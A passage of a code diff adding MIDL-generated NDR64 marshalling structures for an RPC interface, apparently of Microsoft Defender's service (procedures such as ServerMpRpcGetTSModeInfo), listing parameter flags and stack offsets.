0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2368, + { + /* arg_7 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2368, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2367, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + } +}; + +static const __midl_frag1735_t __midl_frag1735 = +{ +/* *long */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 8 /* 0x8 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2368 +}; + +static const __midl_frag1725_t __midl_frag1725 = +{ +/* Proc178_ServerMpCheckAccessForPrintOperation2 */ + { + /* Proc178_ServerMpCheckAccessForPrintOperation2 */ /* procedure Proc178_ServerMpCheckAccessForPrintOperation2 */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 88 /* 0x58 */ , /* Stack size */ + (NDR64_UINT32) 64 /* 0x40 */, + (NDR64_UINT32) 104 /* 0x68 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 10 /* 0xa */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2266, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag1735, + { + /* arg_7 */ + 0, + 1, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], [out] */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2368, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2367, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + } +}; + +static const __midl_frag1721_t __midl_frag1721 = +{ +/* */ + { + /* *Struct_3762_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1718 + } +}; + +static const __midl_frag1720_t __midl_frag1720 = +{ +/* Struct_3782_t */ + { + /* Struct_3782_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3782_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag1721, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1719_t __midl_frag1719 = +{ +/* *Struct_3782_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1720 +}; + +static const __midl_frag1718_t __midl_frag1718 = +{ +/* Struct_3762_t */ + { + /* Struct_3762_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3762_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3742_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1716 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1717_t __midl_frag1717 = +{ +/* *Struct_3762_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1718 +}; + +static const __midl_frag1716_t __midl_frag1716 = +{ +/* Struct_3742_t */ + { + /* Struct_3742_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3742_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag1715_t __midl_frag1715 = +{ +/* *Struct_3742_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1716 +}; + +static const __midl_frag1713_t __midl_frag1713 = +{ +/* union_3714 */ + { + /* union_3714 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1877, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 3 /* 0x3 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag1715, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag1717, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag1719, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag1712_t __midl_frag1712 = +{ +/* Struct_3800_t */ + { + /* Struct_3800_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3800_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1713 + }, + { + /* Struct_3800_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1711_t __midl_frag1711 = +{ +/* *Struct_3800_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1712 +}; + +static const __midl_frag1710_t __midl_frag1710 = +{ +/* **Struct_3800_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1711 +}; + +static const __midl_frag1708_t __midl_frag1708 = +{ +/* Proc177_ServerMpRpcGetTSModeInfo */ + { + /* Proc177_ServerMpRpcGetTSModeInfo */ /* procedure Proc177_ServerMpRpcGetTSModeInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1710, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1702_t __midl_frag1702 = +{ +/* Proc176_ServerMpRpcUpdateTSMode */ + { + /* Proc176_ServerMpRpcUpdateTSMode */ /* procedure Proc176_ServerMpRpcUpdateTSMode */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1697_t __midl_frag1697 = +{ +/* Proc175_ServerMpRpcSetDriverUnloadInProgress */ + { + /* Proc175_ServerMpRpcSetDriverUnloadInProgress */ /* procedure Proc175_ServerMpRpcSetDriverUnloadInProgress */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 5 /* 0x5 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2355, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1690_t __midl_frag1690 = +{ +/* Proc174_ServerMpRpcGetFCValue */ + { + /* Proc174_ServerMpRpcGetFCValue */ /* procedure Proc174_ServerMpRpcGetFCValue */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2164, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1673_t __midl_frag1673 = +{ +/* Proc172_ServerMpRpcSendDeviceControlToast */ + { + /* Proc172_ServerMpRpcSendDeviceControlToast */ /* procedure Proc172_ServerMpRpcSendDeviceControlToast */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2266, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1662_t __midl_frag1662 = +{ +/* *Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1497 +}; + +static const __midl_frag1661_t __midl_frag1661 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ /* Offset */ + } +}; + +static const __midl_frag1660_t __midl_frag1660 = +{ +/* **Struct_3370_t */ + { + /* **Struct_3370_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3370_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1661 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + 